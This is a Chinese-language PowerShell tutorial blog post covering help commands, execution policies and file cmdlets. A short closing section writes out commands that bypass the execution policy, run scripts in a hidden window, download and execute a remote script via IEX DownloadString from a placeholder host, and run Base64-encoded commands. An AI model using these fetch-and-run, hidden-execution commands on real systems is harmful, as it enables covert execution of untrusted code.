(2)Windows PowerShell使用

什么是PowerShell:

Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework 的强大功能。PowerShell是命令提示符的更高级版本。 它用于执行诸如 ping 或 copy 之类的外部程序,并自动执行无法从 cmd.exe 访问的不同系统管理任务。

PowerShell与cmd的区别:

PowerShell与Bash Shell比较:

如何打开PowerShell:

在Windows下方的搜索处,直接搜索打开

按 win + R 输入PowerShell打开

打开此电脑,点击左上方文件,找到PowerShell打开

在你需要打开的文件路径下,按Shift + 鼠标右键,选择打开PowerShell 可在PowerShell中快速打开文件路径

PowerShell常用命令:

在PowerShell下的命令,均采用 “名词+动词” 的形式

查看帮助:help ,查看版本: get-host , 查看动词: get-verb

PS D:\study> help
主题
Windows PowerShell 帮助系统
简短说明
显示有关 Windows PowerShell 的 cmdlet 及概念的帮助。
详细说明
    “Windows PowerShell 帮助”介绍了 Windows PowerShell 的 cmdlet、
    函数、脚本及模块,并解释了
    Windows PowerShell 语言的元素等概念。
    Windows PowerShell 中不包含帮助文件,但你可以联机参阅
    帮助主题,或使用 Update-Help cmdlet 将帮助文件下载
    到你的计算机中,然后在命令行中使用 Get-Help cmdlet 来显示帮助
    主题。
    你也可以使用 Update-Help cmdlet 在该网站发布了更新的帮助文件时下载它们,
    这样,你的本地帮助内容便永远都不会过时。
    如果没有帮助文件,Get-Help 会显示自动生成的有关 cmdlet、
    函数及脚本的帮助。

联机帮助
    你可以在 TechNet 库中找到有关 Windows PowerShell 的联机帮助,
网址为 http://go.microsoft.com/fwlink/?LinkID=108518。
    若要打开有关任一 cmdlet 或函数的联机帮助,请键入:
Get-Help <cmdlet-name> -Online
-- More  --
PS D:\study> Get-Host

Name             : ConsoleHost
Version          : 5.1.17763.1007
InstanceId       : b17b657c-366a-4efa-a95f-a4ba89884117
UI               : System.Management.Automation.Internal.Host.InternalHostUserInterface
CurrentCulture   : zh-CN
CurrentUICulture : zh-CN
PrivateData      : Microsoft.PowerShell.ConsoleHost+ConsoleColorProxy
DebuggerEnabled  : True
IsRunspacePushed : False
Runspace         : System.Management.Automation.Runspaces.LocalRunspace
PS D:\study> Get-Verb

Verb        Group
----        -----
Add         Common
Clear       Common
Close       Common
Copy        Common
Enter       Common
Exit        Common
Find        Common
Format      Common
Get         Common
Hide        Common
Join        Common
Lock        Common
Move        Common
New         Common
Open        Common
Optimize    Common
Pop         Common
Push        Common
Redo        Common
Remove      Common
Rename      Common
Reset       Common
Resize      Common
Search      Common
Select      Common
Set         Common
Show        Common
Skip        Common
Split       Common
Step        Common
Switch      Common
Undo        Common
Unlock      Common
Watch       Common
Backup      Data
Checkpoint  Data
Compare     Data
Compress    Data
Convert     Data
ConvertFrom Data
ConvertTo   Data
Dismount    Data
Edit        Data
Expand      Data
Export      Data
Group       Data
Import      Data
Initialize  Data
Limit       Data
Merge       Data
Mount       Data
Out         Data
Publish     Data
Restore     Data
Save        Data
Sync        Data
Unpublish   Data
Update      Data
Approve     Lifecycle
Assert      Lifecycle
Complete    Lifecycle
Confirm     Lifecycle
Deny        Lifecycle
Disable     Lifecycle
Enable      Lifecycle
Install     Lifecycle
Invoke      Lifecycle
Register    Lifecycle
Request     Lifecycle
Restart     Lifecycle
Resume      Lifecycle
Start       Lifecycle
Stop        Lifecycle
Submit      Lifecycle
Suspend     Lifecycle
Uninstall   Lifecycle
Unregister  Lifecycle
Wait        Lifecycle
Debug       Diagnostic
Measure     Diagnostic
Ping        Diagnostic
Repair      Diagnostic
Resolve     Diagnostic
Test        Diagnostic
Trace       Diagnostic
Connect     Communications
Disconnect  Communications
Read        Communications
Receive     Communications
Send        Communications
Write       Communications
Block       Security
Grant       Security
Protect     Security
Revoke      Security
Unblock     Security
Unprotect   Security
Use         Other

设置PowerShell策略

Powershell一般初始化情况下都会禁止脚本执行。脚本能否执行取决于Powershell的执行策略。

默认执行策略为“Restricted”。

  • 当执行策略为 Restricted 时:

      win8 ,win10 中默认执行 Restricted 的策略。允许单独的命令,但不会运行脚本。阻止所有脚本文件的运行。包括格式设置文件和配置文件 (.ps1xml)、模块脚本文件 (.psm1) 和 Windows PowerShell 配置文件 (.ps1)。

  • 当执行策略为 AllSigned 时:

      脚本可以运行。要求所有脚本和配置文件都由受信任的发布者签名,包括在本地计算机上编写的脚本。会在运行来自某类发布者(即你尚未归类为受信任或不受信任的发布者)的脚本之前提示你。存在运行已签名但却是恶意的脚本的风险。

  • 当执行策略为 REMOTESIGNED 时:

      脚本可以运行。要求从 Internet 下载的脚本和配置文件(包括电子邮件和即时消息程序)具有受信任的发布者的数字签名。不要求你在本地计算机上编写的脚本(不是从 Internet 下载的)具有数字签名。如果脚本已被取消阻止(比如通过使用 Unblock-File cmdlet),则运行从 Internet 下载但未签名的脚本。存在运行来自 Internet 之外的未签名脚本和已签名但却是恶意的脚本的风险。

  • 当执行策略为 UNRESTRICTED 时:

      未签名的脚本可以运行。(这存在运行恶意脚本的风险。)在运行从 Internet 下载的脚本和配置文件之前提醒用户。

  • 当执行策略为 BYPASS 时:

      不阻止任何内容,并且没有任何警告或提示。该执行策略旨在用于后述配置:在其中 Windows PowerShell 被内置于一个更大的应用程序中,或者在其中 Windows PowerShell 是具有其自己安全模式的程序的基础。

  • 当执行策略为 UNDEFINED 时:

      当前作用域中未设置执行策略。如果所有作用域中的执行策略都是 Undefined,则有效的执行策略是 Restricted,它是默认执行策略。

PS C:\Users\Riy> [System.Enum]::GetNames([Microsoft.PowerShell.ExecutionPolicy])  # 查看脚本执行策略
Unrestricted
RemoteSigned
AllSigned
Restricted
Default
Bypass
Undefined
PS C:\Users\Riy> Get-ExecutionPolicy  # 查看当前脚本执行策略
Restricted
PS C:\Users\Riy> Set-ExecutionPolicy Unrestricted  # 更改脚本执行策略,这里报错是因为没有使用管理员权限打开PowerShell
Set-ExecutionPolicy : 对注册表项“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIdsMicrosoft.PowerShell”的访问被拒绝。 要更改默认(LocalMachine)作用域的执行策略,请使用“以管理
员身份运行”选项启动 Windows PowerShell。要更改当前用户的执行策略,请运行 "Set-ExecutionPolicy
 -Scope CurrentUser"。
所在位置 行:1 字符: 1
+ Set-ExecutionPolicy Unrestricted
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (:) [Set-ExecutionPolicy], UnauthorizedAccess
   Exception
    + FullyQualifiedErrorId : System.UnauthorizedAccessException,Microsoft.PowerShell.Command
   s.SetExecutionPolicyCommand

# 使用管理员权限打开PowerShell

PS C:\WINDOWS\system32> Set-ExecutionPolicy Undefined

执行策略更改
执行策略可帮助你防止执行不信任的脚本。更改执行策略可能会产生安全风险,如
https:/go.microsoft.com/fwlink/?LinkID=135170 中的 about_Execution_Policies
帮助主题所述。是否要更改执行策略?
[Y] 是(Y)  [A] 全是(A)  [N] 否(N)  [L] 全否(L)  [S] 暂停(S)  [?] 帮助 (默认值为“N”): y

文件操作常用命令:

  • 新键目录: New-Item -Name ‘test‘ -ItemType ‘directory‘
  • 新建文件: New-Item -Name ‘test.txt‘
  • 删除目录或文件: Remove-Item test.txt
  • 显示文本内容: Get-Content test.txt
  • 设置文本内容: Set-Content test.txt -Value ‘Hello World‘
  • 追加文本内容: Add-Content test.txt -Value ‘Love World‘
  • 清除文本内容: Clear-Content test.txt
PS D:\study> New-Item -Name ‘test‘ -ItemType ‘directory‘  # 新建目录

    目录: D:\study

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        2020/3/28      0:24                test

PS D:\study> New-Item -Name ‘test.txt‘  # 新建文件

    目录: D:\study

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        2020/3/28      0:24              0 test.txt

PS D:\study> Set-Content test.txt -Value ‘Hello World‘  # 设置文本内容
PS D:\study> Get-Content test.txt  # 显示文本内容
Hello World
PS D:\study> Add-Content test.txt -Value ‘Love World‘  # 追加文本内容
PS D:\study> Get-Content test.txt
Hello World
Love World
PS D:\study> Clear-Content test.txt  # 清除文本内容
PS D:\study> Get-Content test.txt
PS D:\study> Remove-Item test  # 删除文件或目录

绕过本地权限执行脚本

PS D:\study> ‘"Hello World"‘ > test.ps1
PS D:\study> .\test.ps1
.\test.ps1 : 无法加载文件 D:\study\test.ps1,因为在此系统上禁止运行脚本。有关详细信息,请参阅
https:/go.microsoft.com/fwlink/?LinkID=135170 中的 about_Execution_Policies。
所在位置 行:1 字符: 1
+ .\test.ps1
+ ~~~~~~~~~~
    + CategoryInfo          : SecurityError: (:) [],PSSecurityException
    + FullyQualifiedErrorId : UnauthorizedAccess

c:\Windows\System32>powershell.exe -ExecutionPolicy Bypass -File test.ps1
Hello World

绕过本地权限执行脚本,并隐藏执行,只有后台能看到脚本正在运行

powershell.exe  -WindowStyle hidden -ExecutionPolicy Bypass -File test.ps1

PowerShell下载脚本绕过本地权限并执行

c:\Windows\System32>powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -noni IEX (New-Object Net.WebClient).DownloadString(‘http://xxxx/test.ps1‘)
Hello World

7、使用Base64对PowerShell命令进行编码

c:\Windows\System32>powershell.exe -EncodedCommand dwBoAG8AYQBtAGkACgA=
laptop-9r39s2hi\riy

原文地址:https://www.cnblogs.com/riyir/p/12585928.html

时间: 2024-10-10 03:04:28

(2)Windows PowerShell使用的相关文章

有奖试读—Windows PowerShell实战指南(第2版)

为什么要学PowerShell? Windows用户都已习惯于使用图形化界面去完成工作,因为GUI总能轻易地实现很多功能,并且不需要记住很多命令.使得短时间学会一种工具成为可能. 但是不幸的是,GUI并不能带来效率提升上的汇报,如果你花费5分钟在活动目录中创建一个新的用户(一般需要填写大量信息),之后再新建用户时,通常不会更快,那么新建100个新用户就会花费500分钟,通常没有任何办法使得我们输入信息以及单击操作更快,从而加快这个过程. 微软一直都有CMD命令来进行Windows的操作,但是很不

Windows PowerShell 学习---第一章 PowerShell介绍

第1章 PowerShell介绍 1.1.什么是PowerShell 2006年,微软发布一款叫做Windows PowerShell的全新脚本语言. PowerShell与命令提示符shell一样,PowerShell可以进行交互性地输入命令.也可以很容易的使用管道和重定向将文件和程序串联起来. 不过,PowerShell确是一个强大的面向对象的语言,可以用于复杂的脚本编程. 1.2.面向对象的命令shell 关于cmd 如果在命令提示符下输入dir,dir命令将会在屏幕打印出目录中的文件名.

部署 Windows PowerShell Web 访问

部署 Windows PowerShell Web 访问 适用对象:Windows Server 2012, Windows Server 2012 R2 Windows PowerShell® Web Access 在 Windows Server® 2012 中首次引入,充当 Windows PowerShell 网关,可提供以远程计算机为目标的基于 Web 的 Windows PowerShell 控制台. 它可让 IT 专业人士在 Web 浏览器中运行来自 Windows PowerSh

在 Windows 7 和 Windows Server 2008 R2 上安装 Windows PowerShell 3.0

在 Windows 7 和 Windows Server 2008 R2 上安装 Windows PowerShell 3.0 Windows 7 和 Windows Server 2008 R2 内核版本同为6.1,以下步骤说明如何在运行 Windows 7 SP1 和 Windows Server 2008 R2 SP1 的机器上安装 Windows PowerShell 3.0. 安装准备 1. 在安装Windows Management Framework 3.0之前,卸载任何Windo

使用 Windows PowerShell 来管理和开发 windowsazure.cn 账户的特别注意事项

6月6日,微软面向中国大陆用户开放了Microsoft Azure公众预览版的申请界面.大家可以申请免费的 beta 试用,收到内附邀请码的通知邮件后只需输入激活码即可开始免费试用.具体网址为: http://windowsazure.cn/zh-cn/pricing/free-trial/ 在实际使用这个账号的时候,发现有一些地方需要特别注意. 在使用PowerShell工具中,需要下载发布配置文件(PublishSettingProfile),从而获得设置Windows PowerShell

Windows PowerShell 会话中使用 FSharp 代码编译器

<# $fSharpCode= @" moduleTest let HelloWorld = "Hello World!!!!" printfn "%s" HelloWorld let rec Loop n = seq [ if n <= 0 then () else yield n; yield! Loop (n-1) ] |> Seq.sort printfn "%A" (Loop 5) let rec facto

Office 365系列之九:使用Windows PowerShell管理O365平台

正如之前我们说的,通过O365管理中心.Exchange 管理中心.Lync管理中心SharePoint 管理中心能做的事情和能够实现的需求是远远满足不了客户的时间需求的.可以使用用于 Windows PowerShell 的 Azure Active Directory 模块 cmdlet 执行 Azure AD 管理任务.而且还可以做到使用单个 Windows PowerShell 窗口连接和同时管理 Office 365.SharePoint.Exchange 和 Lync 管理任务.接下

初探--Windows PowerShell

初探--Windows PowerShell 目录与文件的基本操作 你可以通过一些命令浏览系统里的目录,创建,移动,删除目录还有文件.目录与文件的操作是使用命令行工具的基础.Windows 用户打开 Powershell ,然后试一下接下来的这些命令. (1)查看你当前的位置:pwd Powershell,还有 终端,在光标的左边默认会显示你当前所在的目录.你也可以使用 pwd ( print working directory )这个命令,查看自己当前所在的位置. C:\Users\Admin

Windows XP 的 Windows PowerShell 1.0 本地化安装

用于 Windows XP 的 Windows PowerShell 1.0 本地化安装程序包 (KB926140) http://www.microsoft.com/zh-cn/download/details.aspx?id=9591 .NET Framework 各版本介绍和下载链接汇总 http://blog.xieyc.com/dotnetfx-versions-summary/ PS C:\Documents and Settings\Administrator> $a=123 PS

Windows PowerShell是啥?看完本文你就懂它了

这篇文章主要介绍了Windows PowerShell是啥?Windows PowerShell是什么?Windows PowerShell有哪些特性?Windows PowerShell有什么用?看完本文你就懂它了,需要的朋友可以参考下 一直很羡慕Linux的命令提示符(当然他们叫Shell).正则表达式,管道,各种神奇的命令,组合起来就能高效完成很多复杂的任务.效率实在是高.流了n年的哈喇子以后,终于有幸用上了Win7,邂逅了cmd的升级版:Windows PowerShell.从此暗爽无比